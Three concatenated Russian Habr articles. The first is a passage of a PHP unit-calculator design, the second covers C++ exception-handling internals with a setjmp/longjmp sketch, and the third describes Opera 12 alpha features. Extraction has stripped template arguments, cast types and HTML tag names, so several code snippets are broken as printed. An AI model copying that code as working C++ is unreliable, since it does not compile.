public function containsDimensionlessMember() {
// Внутри нас есть константа тогда, когда хотя бы у одного из наших
// операндов есть константа.
return $this->operand1->containsDimensionlessMember() || $this->operand2->containsDimensionlessMember();
}
```
**Вписать необходимое абсолютное значение в выражение**
```
/**
* Format a certain amount of quantity within this mathematical expression.
*
* @param float $quantity
* Quantity to be formatted
*
* @return MathematicalExpression
* Formatted quantity into this mathematical expression. Sometimes the
* mathematical expression itself must mutate in order to format the
* quantity. So the returned mathematical expression may not necessarily be
* the mathematical expression on which this method was invoked. For
* example, the expression "unit" would mutate into "1 * unit" in order to
* have a dimensionless member and therefore be able to format the $quantity
*/
public function formatQuantity($quantity) {
$contains_dimensionless1 = $this->operand1->containsDimensionlessMember();
$contains_dimensionless2 = $this->operand2->containsDimensionlessMember();
list($quantity1, $quantity2) = $this->evaluateOperands();
// Прежде всего, если константа есть только в одном из 2х операндов, то
// задача очень простая – делегировать вызов в тот операнд, который имеет
// константу. К примеру: (“1 * meter”)->formatQuantity(100); при таком выражении
// делегировать можно только в единичку, т.к. во 2м операнде (метр) некуда
// “вписать” величину.
if ($contains_dimensionless1 xor $contains_dimensionless2) {
if ($contains_dimensionless1) {
$this->operand1->formatQuantity($quantity / $quantity2);
}
else {
$this->operand2->formatQuantity($quantity / $quantity1);
}
}
else {
// В этой ветке обрабатывается случай, когда оба операнда имеют константы.
// К примеру “1 * foot + 1 * inch”. Тогда нужно выбрать такое соотношение
// между первым и вторым операндами, чтобы в первом операнде было какое-то
// “красивое” число, а остаток отдать второму операнду на форматирование.
// Сама логика нахождения такого “красивого” соотношения зависит от
// конкретного оператора. Ближе к концу статьи я приведу примеры реализации
// split quantity функций для некоторых операторов.
$split_quantity = $this->operator['split quantity callback'];
list($quantity1, $quantity2) = $split_quantity($quantity, $quantity1, $quantity2, $this->operator);
// Имея на руках “красивое” количество на каждый из операторов, делегируем.
$this->operand1->formatQuantity($quantity1);
$this->operand2->formatQuantity($quantity2);
}
return $this;
}
```
**Расчитать абсолютное значение выражения**
```
/**
* Numerically evaluate this mathematical expression.
*
* @return float
* Numerical value of this mathematical expression
*
* @throws UnitsMathematicalExpressionDimensionException
* Exception is thrown if this mathematical expression has inconsistency in
* physical dimensions
*/
public function evaluate() {
// Некоторые операторы требуют, чтобы размерности операндов совпадали.
if ($this->operator['dimension check'] && !units_dimension_equal($this->operand1->dimension(), $this->operand2->dimension())) {
throw new UnitsMathematicalExpressionDimensionException();
}
list($evaluate1, $evaluate2) = $this->evaluateOperands();
// Имея на руках численное значение обоих операндов, мы делегируем
// саму математику – там $evaluate1 и $evaluate2 будут сложены/вычтены
// друг из друга, либо умножены/поделены в зависимости от того, какой
// у нас оператор в $this->operator.
$evaluate_callback = $this->operator[‘evaluate callback’];
return $evaluate_callback($evaluate1, $evaluate2);
}
```
**Декомпозиция выражения**
```
/**
* Decompose (simplify) this mathematical expression.
*
* @return MathematicalExpression
* Decomposed (simplified) version of this mathematical expression
*/
public function decompose() {
// Банально делегируем декомпозицию на первый и второй операнды
// и из результата собираем новую операцию с тем же самым оператором.
return new OperatorMathematicalExpression($this->operator, $this->operand1()->decompose(), $this->operand2()->decompose());
}
```
**Методы operand1() и operand2()**
```
/**
* Retrieve operand #1 from this mathematical operator.
*
* @return MathematicalExpression
* Operand #1 from this mathematical expression
*/
public function operand1() {
return $this->operand1;
}
/**
* Retrieve operand #2 from this mathematical operator.
*
* @return MathematicalExpression
* Operand #2 from this mathematical expression
*/
public function operand2() {
return $this->operand2;
}
```
**Вспомогательный метод для расчета абсолютных значений операндов**
```
/**
* Numerically evaluate both operands and return them as an array.
*
* @return array
* Array of length 2: the 2 operands numerically evaluated
*/
protected function evaluateOperands() {
$evaluate1 = $this->operand1->evaluate();
$evaluate2 = $this->operand2->evaluate();
// На случай, если один из операндов – это единица измерений,
// мы подставляем такое абсолютное значение на место единицы
// измерений, которое не повлияет на результат.
// Для суммы, это будет 0. Для умножения – единица.
// Это как х = х * 1 из математики 6го класса. Таким образом
// мы добиваемся того, что единицы измерений (которые не
// обладают математической природой) встраиваются в
// математический контекст, не искажая его.
if (is_null($evaluate1)) {
$evaluate1 = $this->operator['transparent operand1'];
}
if (is_null($evaluate2)) {
$evaluate2 = $this->operator['transparent operand2'];
}
return array($evaluate1, $evaluate2);
}
```
Такая реализация отлично покрывает нужды суммы, вычитания, умножения и деления. В заключение приведу листинг некоторых колбеков.
#### Колбеки для суммы
**Расчет абсолютного значения для суммы**
```
function units_operator_add_evaluate($operand1, $operand2) {
// Банально суммируем два количества.
return $operand1 + $operand2;
}
```
**Расчет результирующей размерности для суммы**
```
function units_operator_add_dimension($dimension1, $dimension2, $operator1, $operator2) {
// Т.к. для суммы размерность обоих операндов должна совпадать, то
// достаточно просто вернуть одну из двух размерностей как результирующую.
return $dimension1;
}
```
**Распределение абсолютного количества между 2 операндами суммы**
```
function units_operator_add_split_quantity($total_quantity, $quantity1, $quantity2, $operator) {
// Логика для суммы следующая: для операнда, который включает наибольшую единицу
// измерений (в случае футы + дюймы это будет футы), подобрать целое число. Остаток
// отдать на форматирование в оператор, который включает меньшую единицу. Т.е. мы
// подбираем красивое число для главной единицы и “все остальное” записываем во вторую
// единицу измерений.
$greatest_quantity = max($quantity1, $quantity2);
$for_greater_quantity = floor($total_quantity / $greatest_quantity) * $greatest_quantity;
$for_fewer_quantity = $total_quantity - $for_greater_quantity;
return $quantity1 > $quantity2 ? array($for_greater_quantity, $for_fewer_quantity) : array($for_fewer_quantity, $for_greater_quantity);
}
```
#### Колбеки для умножения
**Расчет абсолютного значения для умножения**
```
function units_operator_multiply_evaluate($operand1, $operand2) {
return $operand1 * $operand2;
}
```
**Расчет результирующей размерности для умножения**
```
function units_operator_multiply_dimension($dimension1, $dimension2, $operator1, $operator2) {
// При умножении размерности складываются.
return units_dimension_add($dimension1, $dimension2);
}
```
**Распределение абсолютного количества между 2 операндами умножения**
```
function units_operator_multiply_split_quantity($total_quantity, $quantity1, $quantity2, $operator) {
// На практике умножение используется в formatQuantity() методе только на самом
// последнем шаге, когда умножается константа на единицу измерений:
// 1 * foot + 1 * inch. Вот эти 1 * foot и 1 * inch умножения, о которых я говорю.
// Поэтому я вставил довольно простую заглушку в этот колбек – отдаем все
// количество в первый операнд, который на практике всегда оказывается
// константой.
return array($total_quantity, $operator['transparent operand2']);
}
```
Похожим образом выглядят колбеки для остальных операций.
Задания со звездочкой\*
-----------------------
В школе в самом конце урока в учебнике были задания со звездочкой – на пятерку с плюсом. В этот раздел я поместил как раз такие дополнительные задания, реализацию которых уже не буду включать в статью.
### База данных
Мы проговорили, что БД должна уметь численно просчитывать значение выражений, чтобы их можно было сортировать и фильтровать (*покажи список учеников, отсортированных по росту* или *покажи учеников, выше 3 фута + 5 дюймов*). Я пробовал разные способы реализации этой задачи на инструментарии SQL и в конечном итоге пришел к recursive CTE (recursive Common Table Expressions).
### Человекоудобный интерфейс
Надо бы реализовать конвертацию наших выражений в строку, удобную для восприятия человеком (такая нотация называется инфиксной). В интерфейс выражения можно добавить метод `toInfix()`. Но нужна еще и обратная операция – нечто, что сможет распарсить инфиксное выражение в наше бинарное дерево. Эта задача решается довольно тривиально при наличии Википедии и здравомыслящего мозга. Почитайте о парсинге инфиксной и постфиксной нотации. Наличие такого инфиксного парсера значительно облегчает жизнь программисту, т.к. выражения можно собирать простым вызовом `units_mathematical_expression_create_from_infix(“10 * meter * kilogram / second”)`. А не громоздкой конструкцией в несколько строк, где под каждый операнд мы создаем собственный объект и вкладываем один объект в другой для построение конечного бинарного дерева.
### Дополнительные операции
Математика не ограничивается только четырьмя операциями. Еще есть степень, корень, факториал. В моей реализации помимо четырех, рассмотренных здесь, так же есть степень.
Более того, некоторые операторы имеют лишь 1 операнд: факториал, к примеру. Значит, мою модель еще можно и нужно делать гибче, если мы хотим поддерживать большее количество операций.
### Нелинейные конвертации
И вот задача прям с двумя звездочками\*\*! Вся модель, которую я описал, работает лишь при линейных конвертациях, т.е. при таких единицах измерений, которые конвертируются между собой за счет умножения на какой-либо коэффициент.
Такая схема конвертации очень практична, а потому и очень популярна: в метре 100 сантиметров, в футе – 12 дюймов. Но есть одна загвоздка, и имя той загвоздки градусы Фаренгейта. Честно, затрудняюсь представить как кто-либо мог придумать такую шкалу температур… А потом кто-то мог ее взять как основную для измерения температуры. Но увы, факт давно минувших дней, и нам, потомкам тех мужей, не остается ничего иного, как адаптироваться под ситуацию.
Проблема с Фаренгейтом следующая. Цитата из Википедии:
> На шкале Фаренгейта температура таяния льда равна +32 °F, а температура кипения воды — +212 °F (при нормальном атмосферном давлении). При этом один градус Фаренгейта равен 1/180 разности этих температур.
Возможно, из этого определения это не так очевидно, но Фаренгейт не конвертируется линейно в Цельсий. Нет такого коэффициента, умножив на который, мы сконвертируем одно в другое.
А теперь магия, следите внимательно за руками: возьмем 100 метров. Представим их в виде километров: 0.1 км. Умножим оба варианта на 10. Получим 1000 метров и 1 км. Приведем оба варианта к метрам и увидим ожидаемый результат – оба выражения равны между собой.
Повторим трюк с температурой: возьмем 10 C. Представим в виде фаренгейта (50 F). Умножим на 10. Получим 100 C и 500 F. Сконвертируем оба в цельсий: 100 C и 260 C. Каково? Выполняя вроде бы одну и ту же операцию двумя разными способами мы получили очень разные ответы. Это значит, что Цельсий и Фаренгейт используют принципиально отличные шкалы и никакая математика между ними не применима! По крайней мере без какой-либо адаптации этой математики ну или не все 100% этой математики.
Попытайтесь проанализировать что же можно сделать с этой проблемой.
Заключение
----------
Позволю себе последний абзац для того, чтобы обернуться назад и посмотреть на описанное мной решение с точки зрения архитектуры. Вам задача в самом начале показалось сложной? Предложенная архитектура проста к пониманию? Вы заметили, что для ее решения я использовал 3 интерфейса, 3 объекта и под дюжину функций?
Удобно ли расширить такой калькулятор на дополнительные базовые единицы измерений (допустим, валюта: доллары, евро) – запросто! Даже код править не нужно. Можно ли добавить новые математические операции – можно, путем локальных правок в заведомо определенные места.
Удобно ли пользоваться таким калькулятором? Хорошо ли с портативностью (переиспользованием) такой системы? — Вроде бы неплохо, ее можно использовать на чисто программном API уровне, можно прикрутить какой-нибудь юзер интерфейс с кнопочками. Переписать реализацию на другой язык программирования тоже не подразумевает особой сложности.
Архитектура не перегружена абстракциями, каждый актер делает одну точную самодостаточную операцию – это значит, что случайно “не понять” смысл какой-то операции и использовать ее не по назначению затруднительно. Все функции/методы в своей реализации не занимают больше 20 строк кода. Поставить это все на юнит-тестирование банально просто. Архитектуры на подобие этой я и называю элегантными. Они красивы и лаконичны. | https://habr.com/ru/post/359198/ | null | ru | null |
# Что же там такого тяжелого в обработке исключений C++?
Исключения и связанная с ними раскрутка стека – одна из самых приятных методик в C++. Обработка исключений интуитивно понятно согласуется с блочной структурой программы. Внешне, обработка исключений представляется очень логичной и естественной.
Аккуратное использование стековых объектов позволяет создавать очень эффективный и безопасный код, где, в отличие от систем со сборкой мусора, сохраняется локальность ссылок, что дает возможность уменьшить число обращений к системе за памятью, снизить её фрагментацию, более эффективно использовать кэш памяти.
Тем не менее, в C++, исключения традиционно рассматриваются буквально как исключительные ситуации, связанные с восстановлением после ошибок. Трудно сказать, является ли это причиной или следствием того, что реализация обработки исключений компиляторами чрезвычайно дорога. Попробуем разобраться почему.
Продолжение [здесь](http://habrahabr.ru/post/267771/).
**Как обстоят дела.**
Существует два подхода к реализации обработки исключений:
* Первый можно охарактеризовать словами – “пусть неудачник платит”. Компилятор старается минимизировать издержки в тех случаях, когда исключения не возникают. В идеале, программа не несет никакой дополнительной нагрузки, вся необходимая информация расположена в стороне от кода в некотором удобном для раскрутки виде.
* Вторая стратегия – “понемногу платят все и всегда". Иными словами, в процессе работы программа несет определенные издержки на поддержание актуальности информации, необходимой для корректной раскрутки стека. При этом, в случае возникновения исключения, раскрутка стека обходится дешевле.
Несколько примеров:
* **GCC/SJLJ**. SJLJ есть сокращение от setjmp/longjmp. Относится скорее к первому подходу, но благодаря схеме передачи управления, в нем есть еще и фиксированная плата за каждый *try*. В сущности, данная реализация вобрала в себя всё худшее, что присуще обоим подходам. Вплоть до четвертой версии, это был основной вариант обработки исключений.
Как явствует из названия, передача управления осуществляется через вызов longjmp, каждый try порождает вызов setjmp. Соответствующий буфер выделяется в стеке для каждого try блока.
В начале каждой функции создается пролог, который регистрирует текущий фрейм в стеке контекстов. Аналогично, создается эпилог, удаляющий текущий контекст с вершины стека контекстов. Рядом с каждой функцией создается вспомогательный код для очистки ресурсов.
Если точнее, компилятор каждый возврат из функции, потенциально способный завершиться исключением, заносит в дерево как ключ, значением является указатель на код очистки, который надо в этом месте предпринять для очистки контекста функции. Линкер собирает куски этих деревьев для каждого модуля линковки в единое дерево проекта (очень грубо). Называется это чудо LSDA (language specific data area) и расположено оно в секции ".gcc\_except\_table".
При возникновении исключения, на основании type\_info возбуждаемого исключения отыскивается блок, который может это исключение обработать. Начиная с текущего контекста и вплоть до контекста-обработчика (с помощью навигации по фреймам вызовов), извлекаются и выполняются адреса кода, который (в зависимости от областей видимости локальных переменных) надо исполнить именно в этом месте. После чего передается управление.
Существует предубеждение, что данный метод является весьма дорогостоящим. Уже в силу того, что на каждый try-блок вызывается setjmp, который недёшев. В самом деле, нужно полностью сохранить состояние процессора, где могут быть десятки регистров. Тогда как на момент возникновения исключения, содержимое большей части этих регистров уже бесполезно. В действительности же, компилятор поступает весьма рационально. Он разворачивает setjmp, причем, сохраняет только полезные регистры (уж эта информация у него есть). Автор сомневается, что издержки на setjmp так уж высоки.
А вот что действительно бросается в глаза, так это объемный вспомогательный код, особенно в нетривиальных случаях. Компилятор, подобно YACC, расписывает все состояния стекового автомата. И, хотя, оптимизатор по — возможности вычищает избыточность и тривиальный код, того, что остается, более чем достаточно.
* **GCC/DW2**. Это как раз пример первого подхода к обработке исключений. DW2 означает DWARF2(теперь уже и 3) – формат хранения вспомогательной, в том числе отладочной информации в исполняемом файле. Ведь отладочная информация нужна и для того, чтобы в любой момент можно было узнать значение любой переменной, в том числе и во фреймах предыдущих (верхних) вызовов. Поэтому компилятор в процессе генерации кода откладывает информацию о том, что он выделяет в стеке, в каких регистрах размещает переменные, когда их сохраняет… В действительности, этот формат не идентичен DWARF, хотя и очень близок к нему. Стандартный вариант для четвертой версии GCC.
Концептуально, на каждый адрес кода программы хранится информация о том, как попасть в вышестоящий фрейм вызова. На практике ввиду объемности этой информации, она сжимается, фактически, вычисляется с помощью интерпретации байт-кода. Этот байт-код исполняется при возникновении исключения. Расположено всё это в секциях ".eh\_frame" и ".eh\_frame\_hdr".
Да, помимо всего прочего, DWARF интерпретатор представляет собой отличный backdoor, с помощью которого, подменив байт-код, можно перехватить исключение и отправить его на обработку куда душе угодно.
GCC/DW2 использует практически такую же секцию LSDA, что и GCC/SJLJ.
Как мы видим, издержки, связанные с раскруткой стека (в отсутствие исключений) практически отсутствуют. Однако, стоимость возбуждения исключения велика. Кроме того, нельзя не отметить сильную интеграцию архитектурно-зависимой частью компилятора и достаточно высоко-уровневыми его слоями.
* **MS VC++**. Этот компилятор реализует вторую стратегию обработки.
+ Для каждой функции, которая потенциально может выбрасывать исключения, компилятор создает в качестве стековой переменной структуру из указателя на предыдущую подобную структуру, адреса функции-обработчика и вспомогательных данных. Адрес этой структуры заносится в FS:[0], который является вершиной стека этих структур. Регистр FS в Win32 используется как Thread Information Block ([TIB](http://en.wikipedia.org/wiki/Win32_Thread_Information_Block)) (GS в Win64). Создается также функция-обработчик (со своим набором данных) и эпилог, который восстанавливает FS:[0] в случае успешного завершения.
+ Компилятор создает таблицу структур – по элементу для каждого try-блока в функции. Каждый try-блок имеет индекс начала и конца в этой таблице (вложенный блок имеет вложенный интервал), соответствующий некоторому состоянию, за актуальностью этого индекса сам компилятор и следит. Таким способом компилятор реализует стек try-блоков.
+ На каждый try-блок заводится таблица catch-блоков. На каждый тип исключения заводится таблица type\_info всех базовых классов в иерархии данного типа исключения.
+ Для каждой функции создается unwind таблица, каждый элемент которой содержит указатель на функцию, освобождающую некоторый ресурс и номер предыдущего элемента. В таблице может быть несколько цепочек, в зависимости от областей видимости объектов с деструкторами. В момент исключения, по индексу текущего состояния, который упоминался выше, можно найти необходимую цепочку и вызвать все необходимые деструкторы.
+ Для версии x64 вспомогательные стековые структуры по возможности переносились в .pdata, вероятно, в MS считают первую стратегию более перспективной.
+ При инициирование исключения основная работа проводится операционной системой, куда управление попадает через SYSENTER.Данному методу присущи те же недостатки, что и SJLJ – обширный вспомогательный код и низкая переносимость.
* Процесс возбуждения исключения и выбора подходящего *catch* блока везде выглядит примерно одинаково:
+ При возбуждении исключения создается его описатель, в котором содержатся копия объекта, его type\_info, указатель на деструктор
+ Поднимаясь по стеку *try* блоков и очищая за собой все зарегистрированные стековые объекты, (навигация по этому стеку везде разная, но суть одна), просматриваем списки *catch* блоков и ищем подходящий.
+ Если подходящий *catch* блок найден, объект-исключение становится локальной переменной, вызываем этот блок. Если *catch* блок принимает исключение по значению, а не ссылке, создастся его копия.
+ Если перевызова исключения не было, убиваем объект — исключение
+ «Хозяйке на заметку»:
```
some_exception exc("oioi");
throw exc;
```
порождает лишний конструктор копирования / деструктор
```
throw *new some_exception("oioi");
```
дает утечку памяти
```
catch(some_exception exc) ...
```
опять лишний вызов конструктора и деструктора
```
catch(const some_exception *exc) ...
```
исключение пролетит мимо, если не бросить именно указатель
```
throw some_exception("oioi");
...
catch (const some_exception &exc)....
```
минимум издержек
Подробности можно посмотреть [здесь](http://www.hexblog.com/wp-content/uploads/2012/06/Recon-2012-Skochinsky-Compiler-Internals.pdf), [здесь](http://www.slideshare.net/hackitoergosum/hes2011-james-oakley-and-sergey-bratusexploitingthehardworkingdwarf) и [здесь](http://www.codeproject.com/Articles/2126/How-a-C-compiler-implements-exception-handling).
**А что, если ...**
А, казалось бы, всего и дел то – вызвать в нужном порядке деструкторы, тела которых уже существуют. Как же случилось, что простая, в общем-то, задача имеет такие вязкие, тяжеловесные и притом независимо развивавшиеся решения? Трудно сказать, так исторически сложилось.
Попробуем набросать решение, стараясь оставить его простым и по возможности архитектурно-независимым.
* Первым делом выбираем стратегию — это будет второй вариант.
* Передача управления – setjmp/longjmp
* Создаем структуру, все потомки которой обладают способностью само — регистрироваться для возможной раскрутки.
```
struct unw_item_t {
unw_item_t ();
virtual ~unw_item_t ();
void unreg();
unw_item_t *prev_;
};
```
* И еще одну, областью видимости которой является try-блок
```
struct jmp_buf_splice {
jmp_buf_splice ();
~jmp_buf_splice ();
jmp_buf buf_;
jmp_buf_splice *prev_;
unw_item_t objs_;
};
```
* Для простоты, будем бросать только исключения типа const char \* с помощью
```
extern int throw_slice (const char *str);
```
* Несколько макросов для имитации try-блока
```
// начало блока
#define TRY_BLOCK { \
jmp_buf_splice __sl; \
const char *__exc = (const char *)setjmp (__sl.buf_); \
if (NULL == __exc) {
...
// что-то вроде catch(…) т.к. мы бросаем только const char*
#define CATCH_BLOCK_FIN \
} else {
...
// конец блока
#define FIN_BLOCK \
} \
}
...
// бросаем исключение
#define THROW_IN_BLOCK(exc) \
throw_slice (exc);
...
// перебрасываем исключение наверх, __exc определено в TRY_BLOCK
#define RETHROW_IN_BLOCK \
throw_slice (__exc);
```
* Теперь покажем тела членов класса jmp\_buf\_splice:
```
static jmp_buf_splice *root_slice_ = NULL;
jmp_buf_splice::jmp_buf_splice ()
{
objs_ = NULL;
prev_ = root_slice_;
root_slice_ = this;
}
jmp_buf_splice::~jmp_buf_splice ()
{
root_slice_ = prev_;
}
```
Здесь приведен вариант для однопоточной реализации. При наличии нескольких потоков, вместо root\_slice\_ мы должны будем использовать TLS, аналогично тому, например, как это делает GCC.
* Пришла пора для членов класса unw\_item\_t:
```
unw_item_t::unw_item_t ()
{
if (NULL != root_slice_)
{
prev_ = root_slice_->objs_;
root_slice_->objs_ = this;
}
}
unw_item_t::~unw_item_t ()
{
unreg();
}
unw_item_t::unreg ()
{
if (NULL != root_slice_ &&
(prev_ != reinterpret_cast(~0)))
{
root\_slice\_->objs\_ = prev\_;
prev\_ = reinterpret\_cast(~0);
}
}
```
* Теперь рассмотрим процесс возбуждения исключения и раскрутки стека:
```
static int pop_slice ()
{
jmp_buf_splice *sl = root_slice_;
assert (NULL != sl);
root_slice_ = sl->prev_;
return 0;
}
int throw_slice (const char *str, bool popstate)
{
if (NULL == str)
return -1;
jmp_buf_splice *sl = root_slice_;
unw_item_t *obj = root_slice_->objs_;
while (NULL != obj)
{
unw_item_t *tmp = obj;
obj = obj->prev_;
tmp->~unw_item_t ();
}
if (popstate)
pop_slice ();
longjmp (sl->buf_, int(str));
return 0;
}
```
* **Сервисный класс – аналог std::auto\_ptr:**
```
template
class deleter\_t : public unw\_item\_t {
public:
deleter\_t (cl \*obj){ptr\_ = obj;};
virtual ~deleter\_t () {delete ptr\_;};
private:
cl \*ptr\_;
deleter\_t ();
deleter\_t (const deleter\_t &);
deleter\_t &operator= (const deleter\_t &);
};
```
* **Сервисный класс – массив:**
```
template
class vec\_deleter\_t : public unw\_item\_t {
public:
vec\_deleter\_t (cl \*obj){ptr\_ = obj;};
virtual ~ vec\_deleter\_t () {delete [] ptr\_;};
private:
cl \*ptr\_;
vec\_deleter\_t ();
vec\_deleter\_t (const vec\_deleter\_t &);
vec\_deleter\_t &operator= (const vec\_deleter\_t &);
};
```
* Примеры.**Тестовый класс**
```
class _A {
public:
_A():val_(++cnt_){printf ("A::A(%d)\n",val_);}
_A(int i):val_(i){printf ("A::A(%d)\n",val_);}
virtual ~_A(){printf ("A::~A(%d)\n",val_);}
static int cnt_;
};
int _A::cnt_ = 0;
class A : public unw_item_t, _A {};
```
* **Пример 1**
```
A a(1);
TRY_BLOCK {
A b(2);
THROW_IN_BLOCK("error\n");
std::cerr << "notreached\n";
}
CATCH_BLOCK_FIN {
std::cerr << __exc;
}
FIN_BLOCK;
```
A::A(1)
A::A(2)
A::~A(2)
error
A::~A(1)
* **Пример 2**
```
A a(1);
TRY_BLOCK {
A b(2);
TRY_BLOCK {
A c(3);
THROW_IN_BLOCK("error\n");
std::cerr << "notreached\n";
}
CATCH_BLOCK_FIN {
std::cerr << "." << __exc;
RETHROW_IN_BLOCK;
}
FIN_BLOCK;
std::cerr << "notreached\n";
}
CATCH_BLOCK_FIN {
std::cerr << ".." << __exc;
}
FIN_BLOCK;
```
A::A(1)
A::A(2)
A::A(3)
A::~A(3)
.error
A::~A(2)
..error
A::~A(1)
* **Пример 3**
```
TRY_BLOCK {
vec_deleter_t<_A> da(new _A[3]);
TRY_BLOCK {
THROW_IN_BLOCK("error\n");
std::cerr << "notreached\n";
}
CATCH_BLOCK_FIN {
std::cerr << "." << __exc;
RETHROW_IN_BLOCK;
}
FIN_BLOCK;
std::cerr << "notreached\n";
}
CATCH_BLOCK_FIN {
std::cerr << ".." << __exc;
}
FIN_BLOCK;
```
A::A(1)
A::A(2)
A::A(3)
.error
A::~A(3)
A::~A(2)
A::~A(1)
..error
**Ограничения**
Такое решение обладает массой недостатков:
* Нельзя бросать исключения в деструкторе. Деструктор unw\_item\_t еще не удалил ссылку на данный экземпляр, в результате деструктор будет вызван повторно.
* Создавать объект наследованного от unw\_item\_t класса посредством оператора new очень опасно. Даже, если о памяти заботиться самому, такой указатель может попасть в чужой контекст или даже в чужой поток, у объекта, на который он смотрит, могут неожиданно вызвать деструктор, что кончится метаболической катастрофой.
* Класс, наследованный от unw\_item\_t, не может быть агрегирован как член другого класса, иначе его деструктор вызовется дважды.
* Описанный метод невозможно интегрировать с аппаратными исключениями.
* Ограничения на типы исключений. Выше мы использовали только строковый указатель. Если передавать в качестве исключения примитивные типы, то может быть только один вариант. Если в качестве исключения использовать указатель на объект, то имеем возможность воспользоваться RTTI. Можно предложить что-то вроде
```
#define CATCH_BLOCK_TYPED(t) \
} else if (NULL != dynamic_cast(\_\_exc)) {
```
И это даст нам возможность использовать исключения разных типов. Но тогда невозможно бросать исключения примитивных типов.
* Удалять брошенный объект-исключение должен сам пользователь.
**И всё же.**
Несмотря на описанные ограничения, описанный метод обладает неотъемлемыми достоинствами:
* Простота. Несколько десятков строк кода — и все работает.
* Прозрачность концепции.
* Легкая переносимость. Никакой зависимости от архитектуры.
Существует ли возможность устранить недостатки данного метода, сохранив его преимущества? И да, и нет. Пользуясь исключительно средствами C++, это сделать невозможно.
**К чему клонит автор.**
В порядке технического бреда подумаем, как надо модифицировать компилятор, чтобы корректно реализовать вышеописанную схему?
Чего не хватало в вышеприведенном решении? Знания о том, как был порожден объект.
Например, если объект построен на памяти, выделенной из общей кучи и может мигрировать между потоками, его ни в коем случае нельзя регистрировать в потоко-зависимом стеке. Не стоит нигде регистрировать объект, агрегированный в другой объект.
А с объектом того же типа, но на стековой памяти, это сделать необходимо. Конечно, есть возможность отдать указатель на этот стековый объект в другой поток, но трудно представить, в какой ситуации это могло бы быть полезным.
Итак:
* Для стековых объектов типа *Т* компилятор создает на самом деле оберточный класс типа
```
template
class \_\_st\_wrapper : public unw\_item\_t {
public:
virtual ~\_\_st\_wrapper()
{
unreg();
((T\*)data\_)->T::~T();
};
private:
char data\_[sizeof(T)];
};
```
а так же вызов нужного конструктора *T*.
* Статический член класса *jmp\_buf\_splice::root\_slice\_* реализуется либо через TLS, либо через соответствующий регистр, если есть
* Программист по прежнему видит только объект типа *Т*, расположенный в *data\_*
* У стековых объектов без виртуальных деструкторов, таковой появляется в обертке
* Бросать исключения в деструкторах теперь можно т.к. перед вызовом собственно деструктора мы разрегистрировались.
* Не поддерживаем аппаратные исключения (исключения ядра), поэтому на момент возбуждения исключения компилятор знает какие регистры надо «приземлить» и обязан это сделать
* Для штатного уничтожения стековых объектов компилятор создает вызовы деструкторов *\_\_st\_wrapper*'ов
* Механизм выбора подходящего *catch* блока оставляем как есть. Т.е. вспомогательная табличная информация с описателями этих блоков вне кода нам всё-таки потребуется.
* Передачу управления будем осуществлять с помощью аналога setjmp. Предлагается реализовать промежуточный (по отношению к двум описанным выше) вариант передачи управления. Setjmp обладает существенным недостатком – размер буфера довольно велик, тогда как реально используется его малая часть.
С другой стороны, исполнение байт-кода в духе DWARF представляется весьма расточительным.
Поэтому, вместо буфера setjmp будем хранить список регистров, требующих восстановления и сдвиги относительно указателя стека, где лежат актуальные значения. В случае вычисленного значения в регистре хранится непосредственно значение. Для этого в стеке выделяется дополнительная память и отдается сдвиг на нее. Фактически, заводится временная переменная.
Перед возбуждением исключения компилятор выгружает все актуальные данные из регистров, в этом случае можно восстановиться без потерь.
Всё же, стоит отметить, использование блока *try* — это сознательный акт, нет ничего плохого в том, что это несет за собой определенные издержки. IMHO эти (умеренные) издержки даже полезны т.к. стимулируют ответственное отношение к инструментам языка.
* Перехват исключений при вызове оператора *new* и *new [ ]* оставляем как есть. Т.е. каждую итерацию защищаем внутренним *try* блоком и уничтожаем всё созданное в предыдущих итерациях, если произошло исключение, которое потом перевозбуждаем. И, конечно, отдаем обратно память, выделенную под объект[ы.]
* Для реализации массива стековых объектов и делать ничего не надо. Но можно сохранить немного памяти, реализовав специальный стековый объект — вектор, аналогичный тому, что используется при вызове оператора *new []*.
**Кстати.**
* Объект может узнать, что он стековый. Для этого его *this* должен быть в пределах сегмента стека текущего потока.
* Значит, можно снять объект с крючка? Не представляю, зачем это может понадобиться, но такая возможность существует.
* Раз можно снять, значит, можно и посадить. Выделить память в стеке через *alloca*, принудительно вызвать конструктор и подключить к механизму раскрутки стека.
* Для архитектур с раздельными стеками данных и управления можно реализовать обработку исключений весьма эффективно, используя стек управления вместо списка.
**PS:** Отдельное спасибо Александру Артюшину за содержательное обсуждение. | https://habr.com/ru/post/208006/ | null | ru | null |
# Новинки альфы Opera 12.00 для разработчиков
Свежая сборка альфы Opera 12.00 принесла с собой столько интересного, что мы решили рассказать об этом подробнее. Ссылки на сборку можно найти [в блоге Desktop Team](http://my.opera.com/desktopteam/blog/2012/02/10/core-dnt-mail-themes) или подождать немного, пока она появится в виде обновления для [Opera Next](http://www.opera.com/browser/next/). Что же интересного предлагает эта сборка для разработчиков?
#### Новые возможности
* Завершено внедрение XHR2 (XMLHttpRequest2), в частности Upload и Progress Events
* Теперь Opera поддерживает декларативный заголовок **«Do Not Track»** для того, чтобы сайты не отслеживали вашу активность, подробнее по-английски: [Implementing Do Not Track and the work at W3C](http://my.opera.com/ODIN/blog/2012/02/10/implementing-do-not-track-opera)
#### Управление переносом в
Когда для применяется свойство `white-space` со значением, отличным от `nowrap`, то Opera, как и другие браузеры, продолжает переносить текст, независимо от установленного значения. Тем не менее, мы решили изменить описанное поведение в этой сборке, чтобы учитывать применённые стили. К примеру, у вас есть [свойство `white-space: pre` для](http://jsfiddle.net/pepelsbey/L5kDb/) — такой текст должен располагаться ровно так, как его вставили в поле, т.е. занимать только две строки.
Поскольку только мы поддерживаем такое, вполне логичное, поведение для , то надо будет внимательнее смотреть по сторонам на предмет проблем с совместимостью. Если вы обнаружите сайты, которые ломаются из-за нового поведения — расскажите нам об этом, например в твиттере: [@ODevRel\_ru](https://twitter.com/odevrel_ru).
#### Исправленные ошибки в CSS
* Был исправлен странный баг, который приводил к инвертации фонового цвета для блока, к которому применялось значение `currentColor`, [см. пример с блоком](http://jsfiddle.net/pepelsbey/LWxey/), который теперь синий, как и в остальных браузерах.
* Когда свойство `list-style-image` обращается к обычной картинке в присутствии `list-style-type: none`, то буллитом должна стать указанная картинка. Ранее Opera не отрисовывала эту картинку, если она создавалась динамически, как CSS-градиент, но сейчас всё в порядке: [пример использования градиентов для динамического создания буллита](http://jsfiddle.net/pepelsbey/UKUas/). Хотя мало кто знает, что это в принципе возможно :)
